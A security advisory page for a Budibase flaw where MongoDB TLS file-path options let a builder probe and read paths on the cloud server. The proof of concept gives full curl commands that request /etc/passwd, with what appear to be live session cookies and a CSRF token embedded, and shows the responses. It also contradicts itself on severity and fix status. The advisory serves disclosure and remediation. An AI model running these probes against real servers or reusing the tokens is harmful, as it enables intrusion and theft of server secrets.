GHSA-ppr4-5f46-j9c6 CVE-2026-73409
Budibase: Server Filesystem Existence/Read Oracle via Builder-Controlled MongoDB tlsCertificateKeyFile
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.32%
- Chance of exploitation in the next 30 days. Higher than 24.94% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-209 Generation of Error Message Containing Sensitive Information
- Fix
- None yet
- No fixed version published
Description
Summary
When creating a MongoDB datasource, Budibase passes the tlsCertificateKeyFile and tlsCAFile fields straight to the MongoDB driver as server-side file paths. On Budibase Cloud a customer cannot place files on the server, so these fields only let a builder reference arbitrary absolute paths on the underlying multi-tenant server. When the datasource is verified, the driver performs a real filesystem read of that path, and the error differs by file state, turning /api/datasources/verify into an arbitrary-path existence/read oracle over the whole server filesystem.
Root Cause
packages/server/src/integrations/mongodb.ts passes config.tlsCertificateKeyFile / config.tlsCAFile directly to new MongoClient(config.connectionString, options) as filesystem paths, with no allow-list, no confinement to a certificates directory, and no rejection of absolute / .. paths.
POC
Reproduction — paste each line, press Enter
Line 1 (existing file — proves the file is READ):
curl -s -X POST "https://hasinocompany.budibase.app/api/datasources/verify" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"probe","source":"MONGODB","type":"datasource","config":{"connectionString":"mongodb://127.0.0.1:27017/?tls=true","database":"x","tlsCertificateKeyFile":"/etc/passwd"}}}'
RESPONSE
{"connected":false,"error":"error:0480006C:PEM routines::no start line"}
Line 2 (missing file — path is reflected):
curl -s -X POST "https://hasinocompany.budibase.app/api/datasources/verify" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"probe","source":"MONGODB","type":"datasource","config":{"connectionString":"mongodb://127.0.0.1:27017/?tls=true","database":"x","tlsCertificateKeyFile":"/nonexistent/pentest/xyz"}}}'
RESPONSE
{"connected":false,"error":"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'"}
Actual output
/etc/passwd -> {"connected":false,"error":"error:0480006C:PEM routines::no start line"} (EXISTS, was READ)
/nonexistent/pentest/xyz -> {"connected":false,"error":"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'"} (MISSING, path reflected)
Existing files return a "PEM routines" error (the file was read but is not PEM); missing files return ENOENT ... open '<path>' with the path echoed back. This confirms a real filesystem read at the attacker-chosen absolute path. Confirmed 3/3 separate runs.
Impact
| Who / what is affected | How |
|---|---|
| The underlying multi-tenant Cloud server | Arbitrary-path existence/read oracle from a builder account |
| Server config / secret files, other tenants' paths | Located by enumerating paths (exists vs missing) |
| PEM/certificate files on the server | Content exfiltratable via mutual-TLS to an attacker MongoDB server (mechanism) |
Recommended Fix
- On managed/Cloud, disallow
tlsCertificateKeyFile/tlsCAFileas filesystem paths; accept PEM content and write it to a per-connection temp file under a fixed directory. - Reject absolute and
..paths; confine any file reference to an allow-listed certificates directory. - Route the MongoDB connection host through the SSRF blacklist, as the REST integration already does.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| @budibase/server | <= 3.38.1 |
No fix yet |
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- Present
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- High
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
Weakness
CWE-209: Generation of Error Message Containing Sensitive Information
The product generates an error message that includes sensitive information about its environment, users, or associated data.
How to prevent it
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- Implementation: Handle exceptions internally and do not display errors containing potentially sensitive information to a user.
- Implementation: Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.
- Implementation, Build and Compilation: Debugging information should not make its way into a production release.
- Implementation, Build and Compilation: Debugging information should not make its way into a production release.
- System Configuration: Where available, configure the environment to use less verbose error messages. For example, in PHP, disable the display_errors setting during configuration, or at runtime using the error_reporting() function.
- System Configuration: Create default error pages or messages that do not leak any information.
References
Packages
Other links
- github.com/Budibase/budibase/security/advisories/GHSA-ppr4-5f46-j9c6
- github.com/Budibase/budibase/pull/19244
- github.com/Budibase/budibase/commit/5e19b935536d6d1be1f47100e43c6fb30917826e
- github.com/Budibase/budibase/releases/tag/3.40.0
- github.com/Budibase/budibase/commit/e58aa31e18272f6a1a8aeb525b7eef0b01b1dd43
- github.com/Budibase/budibase/releases/tag/3.40.1
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-6x9p-4r67-5gjx Budibase authenticated arbitrary S3 signed upload URL issuance via `/api/attachments/:datasourceId/url` | High | Also affects @budibase/server |
| GHSA-5fpj-28rv-84r7 Budibase: SSRF in Automation Steps - Webhook, Zapier, N8N, Slack, Discord Bypass IP Blacklist | High | Also affects @budibase/server |
| GHSA-hfhx-w8p8-4hc7 Budibase: SSRF via bare fetch() in uploadUrl during AI table generation | Medium | Also affects @budibase/server |
| GHSA-v42f-v8xc-j435 Budibase: SSRF via DNS rebinding in the REST datasource integration | High | Also affects @budibase/server |
| GHSA-pmpg-2mxq-6xwr Budibase: NoSQL injection in MongoDB integration: collection dump, $where JS exec, cross-collection pivot, arbitrary update/delete | High | Also affects @budibase/server |
| GHSA-cr7p-cr3q-h5cm Budibase: Account Enumeration via Login Lockout Response Differential | Medium | Also affects @budibase/server |
| GHSA-pvcr-8mvp-w8qr Budibase: Chat-Link Handoff Identity Confusion (Same-Tenant Account-Link CSRF) | High | Also affects @budibase/server |
| GHSA-2xgg-r2wc-c5r2 Budibase: MySQL DESCRIBE Backtick Injection via multipleStatements in Database Connector | High | Also affects @budibase/server |
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